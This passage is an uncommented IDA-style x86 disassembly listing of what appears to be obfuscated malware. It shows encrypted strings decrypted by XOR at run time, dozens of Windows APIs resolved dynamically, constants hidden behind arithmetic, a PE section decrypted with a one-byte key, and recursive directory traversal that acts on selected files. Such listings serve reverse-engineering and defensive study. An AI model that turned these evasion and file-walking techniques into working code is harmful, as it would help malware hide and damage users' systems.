		add	eax, 0FFFFFFF7h
		add	eax, ds:100141A0h
		push	eax
		push	edi
		call	dword ptr ds:10013808h


loc_41A901:				; CODE XREF: .data:0041A841j
		push	0
		call	dword ptr ds:10010598h
		mov	ebx, eax
		push	10015B6Ah
		call	sub_41B08F
		mov	[ebp-20h], eax
		mov	[ebp-34h], ebx
		lea	eax, ds:1000B6E4h
		mov	[ebp-40h], eax
		push	7F00h
		push	0
		call	dword ptr ds:100111E4h
		mov	[ebp-2Ch], eax
		push	7F03h
		push	0
		call	dword ptr ds:100137F4h
		mov	[ebp-30h], eax
		and	dword ptr [ebp-24h], 0
		push	0
		call	dword ptr ds:1000F0D0h
		mov	[ebp-28h], eax
		mov	dword ptr [ebp-44h], 3
		movsx	eax, word ptr ds:10014180h
		sub	eax, 5
		mov	[ebp-3Ch], eax
		mov	eax, ds:10014244h
		sub	eax, 9
		mov	[ebp-38h], eax
		lea	eax, [ebp-44h]
		push	eax
		call	dword ptr ds:10010090h
		push	10015B60h
		call	sub_41B08F
		mov	[ebp-15Ch], eax
		push	10015B56h
		call	sub_41B08F
		push	0
		push	ebx
		push	0
		push	0
		mov	edx, ds:100141E8h
		sub	edx, 7
		push	edx
		mov	edx, ds:10014158h
		add	edx, ds:100140A4h
		sub	edx, 11h
		push	edx
		movsx	edx, word ptr ds:10014114h
		sub	edx, 9
		push	edx
		mov	edx, ds:1001417Ch
		sub	edx, 9
		push	edx
		push	0CA0000h
		push	eax
		mov	edx, [ebp-15Ch]
		push	edx
		movsx	edx, word ptr ds:100140B8h
		add	edx, ds:10014104h
		sub	edx, 0Dh
		push	edx
		call	dword ptr ds:10012820h
		mov	ds:100105C0h, eax
		lea	eax, [ebp-148h]
		push	eax
		push	ebx
		call	sub_41B6BE
		mov	[ebp-14Ch], eax
		mov	ds:100137E0h, eax
		mov	eax, [ebp-148h]
		mov	ds:100105C4h, eax
		push	0
		call	sub_422CF3
		add	esp, 18h
		or	esi, esi
		jnz	short loc_41AA3A
		call	sub_422ED8
		mov	eax, ds:100140A4h
		sub	eax, 9
		mov	ds:10013818h, eax
		jmp	short loc_41AA4F
; ---------------------------------------------------------------------------


loc_41AA3A:				; CODE XREF: .data:0041AA24j
		mov	eax, ds:100141A8h
		add	eax, 3A8Fh
		add	eax, ds:1001409Ch
		mov	ds:10013818h, eax


loc_41AA4F:				; CODE XREF: .data:0041AA38j
		lea	eax, [ebp-150h]
		push	eax
		movsx	eax, word ptr ds:10014190h
		add	eax, ds:10014214h
		sub	eax, 6
		push	eax
		push	0
		push	10005040h
		mov	eax, ds:10014174h
		add	eax, ds:100140CCh
		sub	eax, 8
		push	eax
		push	0
		call	dword ptr ds:10013D70h
		push	eax
		call	dword ptr ds:1001282Ch
		or	esi, esi
		jnz	short loc_41AAB0
		call	sub_41E931
		call	sub_41BD54
		jmp	short loc_41AAB0
; ---------------------------------------------------------------------------


loc_41AA9C:				; CODE XREF: .data:0041AAD8j
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword ptr ds:1001395Ch
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword ptr ds:1000E004h


loc_41AAB0:				; CODE XREF: .data:0041AA8Ej
					; .data:0041AA9Aj
		mov	eax, ds:1001414Ch
		add	eax, ds:100140CCh
		sub	eax, 0Eh
		push	eax
		movsx	eax, word ptr ds:100140E4h
		sub	eax, 2
		push	eax
		push	0
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword ptr ds:10012800h
		or	eax, eax
		jnz	short loc_41AA9C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_425D5D
		push	esi
		push	edi
		push	1FFFh
		lea	eax, [ebp-1FFFh]
		push	eax
		push	dword ptr [ebp+8]
		call	dword ptr ds:10013D88h
		push	10015B41h
		call	sub_41B08F
		movsx	edi, word ptr ds:100140B4h
		sub	edi, 3
		push	edi
		push	eax
		lea	edi, [ebp-1FFFh]
		push	edi
		call	sub_4251A5
		add	esp, 10h
		mov	esi, ds:10014178h
		add	esi, 0FFF1h
		add	esi, ds:1001424Ch
		cmp	eax, esi
		jz	short loc_41AB49
		push	dword ptr [ebp+8]
		call	sub_41DBB8
		pop	ecx


loc_41AB49:				; CODE XREF: .data:0041AB3Ej
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB52	proc near		; CODE XREF: sub_41F4A9+20p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	dword ptr ds:1001120Ch
		pop	ebp
		retn
sub_41AB52	endp

; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	18h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB71	proc near		; CODE XREF: .data:loc_41F43Fp

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, ds:10014178h
		add	eax, ds:100141A8h
		sub	eax, 0Dh
		push	eax
		push	0
		push	21h
		push	0
		call	dword ptr ds:10010A00h
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_41ACAB
		lea	eax, [ebp+var_10]
		push	eax
		call	dword ptr ds:10011420h
		movzx	eax, [ebp+var_6]
		movzx	edx, [ebp+var_8]
		movsx	ecx, word ptr ds:10014148h
		add	ecx, 3Ch
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_A]
		mov	ecx, ds:1001424Ch
		add	ecx, 0Fh
		imul	edx, ecx
		movsx	ecx, word ptr ds:10014098h
		mov	ebx, ds:10014184h
		lea	ecx, [ecx+ebx+36h]
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_E]
		mov	ecx, ds:100141CCh
		add	ecx, 1Dh
		imul	edx, ecx
		mov	ecx, ds:100140CCh
		add	ecx, 12h
		imul	edx, ecx
		movsx	ecx, word ptr ds:10014220h
		add	ecx, 35h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_10]
		mov	ecx, ds:100140A4h
		movsx	ebx, word ptr ds:10014190h
		add	ecx, ebx
		sub	ecx, 2
		imul	edx, ecx
		movsx	ecx, word ptr ds:100140B8h
		add	ecx, 15h
		imul	edx, ecx
		mov	ecx, ds:100141ECh
		add	ecx, 0Eh
		add	ecx, ds:10014104h
		imul	edx, ecx
		mov	ecx, ds:10014218h
		add	ecx, 2Ah
		movsx	ebx, word ptr ds:100141C0h
		add	ecx, ebx
		imul	edx, ecx
		add	eax, edx
		mov	ds:1000D028h, eax
		mov	eax, ds:100141F8h
		add	eax, ds:10014168h
		sub	eax, 0Eh
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_41ACB0
		add	esp, 144h


loc_41ACAB:				; CODE XREF: sub_41AB71+32j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AB71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACB0	proc near		; CODE XREF: sub_41AB71+12Fp
					; sub_41ACB0+216p ...

var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 274h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		inc	ebx
		push	10015B39h
		call	sub_41B08F
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10013810h
		add	esp, 10h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:1001121Ch
		mov	[ebp+var_248], eax
		mov	eax, ds:1001418Ch
		add	eax, ds:10014188h
		sub	eax, 9
		neg	eax
		cmp	[ebp+var_248], eax
		jnz	loc_41AE7A
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	dword ptr ds:10013960h
		mov	[ebp+var_260], eax
		movsx	eax, word ptr ds:1001421Ch
		add	eax, ds:1001410Ch
		sub	eax, 6
		cmp	[ebp+var_260], eax
		jle	short loc_41AD4C
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_41AD57
; ---------------------------------------------------------------------------


loc_41AD4C:				; CODE XREF: sub_41ACB0+8Dj
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_41AD57:				; CODE XREF: sub_41ACB0+9Aj
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	dword ptr ds:10013958h
		movsx	eax, word ptr ds:100140C4h
		mov	[ebp+var_270], eax
		mov	edx, ds:10014154h
		add	edx, 1Bh
		mov	ecx, ds:100140FCh
		mov	[ebp+var_26C], ecx
		movzx	esi, [ebp+var_24E]
		movzx	edi, [ebp+var_250]
		mov	ecx, eax
		add	ecx, 33h
		imul	edi, ecx
		mov	ecx, esi
		add	ecx, edi
		movzx	esi, [ebp+var_252]
		mov	edi, ds:100140A4h
		add	edi, 0Fh
		imul	esi, edi
		movsx	edi, word ptr ds:10014194h
		add	edi, 33h
		imul	esi, edi
		add	ecx, esi
		movzx	esi, [ebp+var_256]
		mov	edi, edx
		add	edi, ds:100140D4h
		imul	esi, edi
		mov	edi, ds:100141D0h
		add	edi, 0Ch
		mov	eax, [ebp+var_26C]
		add	edi, eax
		mov	eax, esi
		imul	eax, edi
		mov	esi, ds:100140FCh
		add	esi, 35h
		imul	eax, esi
		add	ecx, eax
		movzx	eax, [ebp+var_258]
		mov	esi, ds:1001415Ch
		add	esi, 0Ch
		imul	eax, esi
		imul	eax, edx
		mov	edx, ds:10014244h
		add	edx, 6
		mov	esi, [ebp+var_270]
		add	edx, esi
		imul	eax, edx
		movsx	edx, word ptr ds:10014180h
		add	edx, 37h
		imul	eax, edx
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_25C], edx
		mov	eax, edx
		mov	edx, ds:1000D028h
		cmp	eax, edx
		ja	loc_41AF43
		sub	edx, eax
		movsx	eax, word ptr ds:10014194h
		add	eax, 10D7h
		cmp	edx, eax
		jbe	loc_41AF43
		push	[ebp+arg_0]
		call	dword ptr ds:1000D008h
		mov	[ebp+var_274], eax
		jmp	loc_41AF43
; ---------------------------------------------------------------------------


loc_41AE7A:				; CODE XREF: sub_41ACB0+5Dj
		cmp	[ebp+var_112], 2Eh
		jz	loc_41AF3F
		push	10015B30h
		call	sub_41B08F
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10013810h
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_41ACB0
		add	esp, 158h
		jmp	short loc_41AF3F
; ---------------------------------------------------------------------------


loc_41AED3:				; CODE XREF: sub_41ACB0+291j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	dword ptr ds:1000EFB4h
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_41AF43
		cmp	[ebp+var_112], 2Eh
		jz	short loc_41AF3F
		push	10015B27h
		call	sub_41B08F
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10013810h
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_41ACB0
		add	esp, 158h


loc_41AF3F:				; CODE XREF: sub_41ACB0+1D1j
					; sub_41ACB0+221j ...
		or	ebx, ebx
		jnz	short loc_41AED3


loc_41AF43:				; CODE XREF: sub_41ACB0+19Aj
					; sub_41ACB0+1B0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ACB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF48	proc near		; CODE XREF: .data:loc_424ABEp

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, ds:100140A4h
		add	eax, ds:1001409Ch
		sub	eax, 0Ah
		push	eax
		push	0
		push	20h
		push	0
		call	dword ptr ds:10010A00h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword ptr ds:10011420h
		mov	eax, ds:100141E4h
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_8]
		mov	ebx, ds:1001409Ch
		add	ebx, 37h
		movsx	esi, word ptr ds:100140E8h
		add	ebx, esi
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_A]
		mov	ebx, ds:100141E8h
		add	ebx, 11h
		movsx	esi, word ptr ds:10014148h
		add	ebx, esi
		imul	ecx, ebx
		mov	ebx, ds:100141D8h
		add	ebx, 38h
		add	ebx, ds:10014184h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_E]
		mov	ebx, ds:100140D4h
		add	ebx, 19h
		movsx	esi, word ptr ds:10014190h
		add	ebx, esi
		imul	ecx, ebx
		mov	ebx, ds:100141E4h
		add	ebx, 17h
		imul	ecx, ebx
		mov	ebx, ds:10014150h
		add	ebx, 32h
		add	ebx, ds:1001414Ch
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_10]
		mov	ebx, ds:100140FCh
		add	ebx, 4
		add	ebx, ds:100141C4h
		imul	ecx, ebx
		mov	ebx, ds:1001419Ch
		add	ebx, 15h
		add	ebx, ds:1001415Ch
		imul	ecx, ebx
		movsx	ebx, word ptr ds:10014120h
		lea	eax, [eax+ebx+0Eh]
		imul	ecx, eax
		movsx	eax, word ptr ds:10014110h
		add	eax, 3Ch
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	ds:1000D028h, eax
		mov	eax, ds:100140E0h
		dec	eax
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_41D8BA
		add	esp, 144h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B08F	proc near		; CODE XREF: .data:0041A84Cp
					; .data:0041A85Cp ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword ptr ds:10014250h,	0
		jnz	short loc_41B0B7
		push	10013DA0h
		call	dword ptr ds:1000EFB8h
		mov	dword ptr ds:10014250h,	1


loc_41B0B7:				; CODE XREF: sub_41B08F+11j
		mov	esi, ds:10014124h
		inc	esi
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+1]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, ds:10014158h
		sub	edx, 5
		cmp	eax, edx
		jz	short loc_41B15D
		push	10013DA0h
		call	dword ptr ds:1001383Ch
		mov	eax, ds:100141ACh
		sub	eax, 2
		mov	[ebp+var_2], ax
		jmp	short loc_41B115
; ---------------------------------------------------------------------------


loc_41B100:				; CODE XREF: sub_41B08F+90j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+2]
		xor	edx, ecx
		mov	[eax], dl
		inc	[ebp+var_2]


loc_41B115:				; CODE XREF: sub_41B08F+6Fj
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_41B100
		movsx	eax, word ptr ds:10014160h
		add	eax, ds:10014224h
		sub	eax, 0Bh
		mov	edx, ds:10014100h
		sub	edx, 7
		mov	[edi+eax], dl
		mov	eax, ds:100141D8h
		sub	eax, 2
		movsx	edx, word ptr ds:100140C4h
		sub	edx, 9
		mov	[edi+eax], dl
		push	10013DA0h
		call	dword ptr ds:10012824h


loc_41B15D:				; CODE XREF: sub_41B08F+56j
		lea	eax, [edi+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B08F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_41B168:				; CODE XREF: .data:0041B1A1j
		movsx	eax, word ptr ds:10014148h
		movsx	edx, word ptr ds:10014098h
		add	eax, edx
		sub	eax, 5
		push	eax
		call	dword ptr ds:1001380Ch
		pop	ecx
		movsx	eax, word ptr ds:100140F4h
		add	eax, ds:100141A4h
		sub	eax, 8
		push	eax
		push	100016D4h
		push	0
		call	dword ptr ds:1000DFFCh
		jmp	short loc_41B168
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41B1A7	proc near		; CODE XREF: .data:0041A7BDp
		push	edi
		push	10015B1Ah
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10010598h
		mov	ds:10014260h, eax
		test	eax, eax
		jnz	short loc_41B1DA
		push	10015B0Dh
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10011208h
		mov	ds:10014260h, eax


loc_41B1DA:				; CODE XREF: sub_41B1A7+1Aj
		push	10015AFEh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014260h
		call	dword ptr ds:100101ACh
		mov	ds:10011214h, eax
		push	10015AECh
		call	sub_41B08F
		add	esp, 8
		push	eax
		push	dword ptr ds:10014260h
		call	dword ptr ds:100101ACh
		mov	ds:1000F0D0h, eax
		pop	edi
		retn
sub_41B1A7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+18h]
		mov	[ebp+18h], ax
		mov	eax, ds:100140F0h
		add	eax, 0BFh
		movsx	edx, word ptr ds:10014120h
		add	eax, edx
		cmp	[ebp+0Ch], eax
		jnz	loc_41B352
		mov	word ptr [ebp-18h], 3
		lea	eax, [ebp-10h]
		push	eax
		mov	eax, ds:10014360h
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	[ebp-4], eax
		movsx	eax, word ptr ds:10014210h
		add	eax, ds:100140ECh
		sub	eax, 0Ch
		cmp	[ebp-4], eax
		jnz	loc_41B34E
		dec	dword ptr [ebp-10h]
		lea	eax, [ebp-1Ch]
		push	eax
		lea	esi, [ebp-18h]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, ds:10014360h
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	[ebp-4], eax
		mov	eax, ds:10014138h
		movsx	edx, word ptr ds:100140A0h
		add	eax, edx
		sub	eax, 6
		cmp	[ebp-4], eax
		jnz	loc_41B34E
		lea	eax, [ebp-20h]
		push	eax
		push	10015CD4h
		mov	eax, [ebp-1Ch]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp-4], eax
		movsx	eax, word ptr ds:10014160h
		sub	eax, 6
		cmp	[ebp-4], eax
		jnz	short loc_41B345
		lea	eax, ds:1001435Ch
		mov	[ebp-8], eax
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		lea	eax, [ebp-24h]
		push	eax
		push	10015C04h
		mov	eax, [ebp-8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp-4], eax
		mov	eax, ds:100140D8h
		sub	eax, 5
		cmp	[ebp-4], eax
		jnz	short loc_41B333
		lea	eax, [ebp-2Ch]
		push	eax
		push	10015C04h
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp-20h]
		call	sub_424E34
		add	esp, 10h
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_41B333:				; CODE XREF: .data:0041B30Ej
		mov	eax, [ebp-8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [ebp-20h]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_41B345:				; CODE XREF: .data:0041B2D9j
		mov	eax, [ebp-1Ch]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_41B34E:				; CODE XREF: .data:0041B26Ej
					; .data:0041B2ADj
		xor	eax, eax
		jmp	short loc_41B357
; ---------------------------------------------------------------------------


loc_41B352:				; CODE XREF: .data:0041B23Dj
		mov	eax, 80020003h


loc_41B357:				; CODE XREF: .data:0041B350j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B366	proc near		; CODE XREF: sub_41B754+9p
					; sub_420DEC+Cp ...

var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		cmp	dword ptr ds:10014280h,	0
		jz	short loc_41B37D
		xor	eax, eax
		inc	eax
		jmp	short locret_41B3AC
; ---------------------------------------------------------------------------


loc_41B37D:				; CODE XREF: sub_41B366+10j
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		call	dword ptr ds:10013D78h
		cmp	[ebp+var_84], 2
		jnz	short loc_41B3A7
		mov	dword ptr ds:10014280h,	1


loc_41B3A7:				; CODE XREF: sub_41B366+35j
		mov	eax, ds:10014280h

locret_41B3AC:				; CODE XREF: sub_41B366+15j
		leave
		retn
sub_41B366	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3AE	proc near		; CODE XREF: .data:0041A7B8p
		push	edi
		push	10015ADEh
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10010598h
		mov	ds:1001425Ch, eax
		test	eax, eax
		jnz	short loc_41B3E1
		push	10015AD0h
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10011208h
		mov	ds:1001425Ch, eax


loc_41B3E1:				; CODE XREF: sub_41B3AE+1Aj
		push	10015ABDh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100137DCh, eax
		push	10015AAAh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:10012820h, eax
		push	10015A98h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100105C8h, eax
		push	10015A87h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100111E8h, eax
		push	10015A73h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:1000E004h, eax
		push	10015A62h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:1000EFC0h, eax
		push	10015A4Bh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100105A4h, eax
		push	10015A3Ch
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:10012800h, eax
		push	10015A2Fh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:1000D004h, eax
		push	10015A1Dh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100137FCh, eax
		push	10015A0Ch
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:10013830h, eax
		push	100159FAh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:10013D88h, eax
		push	100159EBh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100111E4h, eax
		push	100159DEh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100137F4h, eax
		push	100159CFh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:10013820h, eax
		push	100159C1h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:1000DFF0h, eax
		push	100159AFh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:10010090h, eax
		push	1001599Fh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:1000D014h, eax
		push	10015993h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100109FCh, eax
		push	10015987h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100137D4h, eax
		push	10015975h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:100105ACh, eax
		push	10015963h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:10013834h, eax
		push	10015955h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:10013838h, eax
		push	10015941h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:1001395Ch, eax
		push	10015930h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:10013814h, eax
		push	1001591Ah
		call	sub_41B08F
		add	esp, 68h
		push	eax
		push	dword ptr ds:1001425Ch
		call	dword ptr ds:100101ACh
		mov	ds:1000DFFCh, eax
		pop	edi
		retn
sub_41B3AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B6BE	proc near		; CODE XREF: .data:0041A9FDp

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+3Ch]
		mov	ecx, esi
		add	ecx, eax
		mov	eax, [ecx+28h]
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+edx+0Dh]
		movzx	eax, byte ptr [esi]
		xor	eax, 4Dh
		mov	[ebp+var_1], al
		movzx	eax, byte ptr [esi+1]
		mov	edx, ds:100141D0h
		add	edx, 1F3h
		add	edx, ds:1001413Ch
		mov	ebx, eax
		imul	ebx, edx
		mov	eax, ds:10014244h
		mov	ecx, eax
		add	ecx, ds:100141B4h
		sub	ecx, 0Bh
		jmp	short loc_41B71C
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6BE+60j
		movzx	eax, byte ptr [esi+ecx]
		movzx	edx, [ebp+var_1]
		xor	eax, edx
		mov	[esi+ecx], al
		inc	ecx


loc_41B71C:				; CODE XREF: sub_41B6BE+4Ej
		cmp	ecx, ebx
		jb	short loc_41B70E
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B6BE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		movsx	eax, word ptr ds:100141F0h
		sub	eax, 2
		cmp	ds:10013964h, eax
		jbe	short loc_41B74B
		push	10013964h
		call	dword ptr ds:1000D010h


loc_41B74B:				; CODE XREF: .data:0041B73Ej
		mov	eax, ds:10013964h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B754	proc near		; CODE XREF: sub_41F8D9+95p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_41B366
		or	eax, eax
		jz	short loc_41B78A
		push	dword ptr ds:10014288h
		push	1
		push	edi
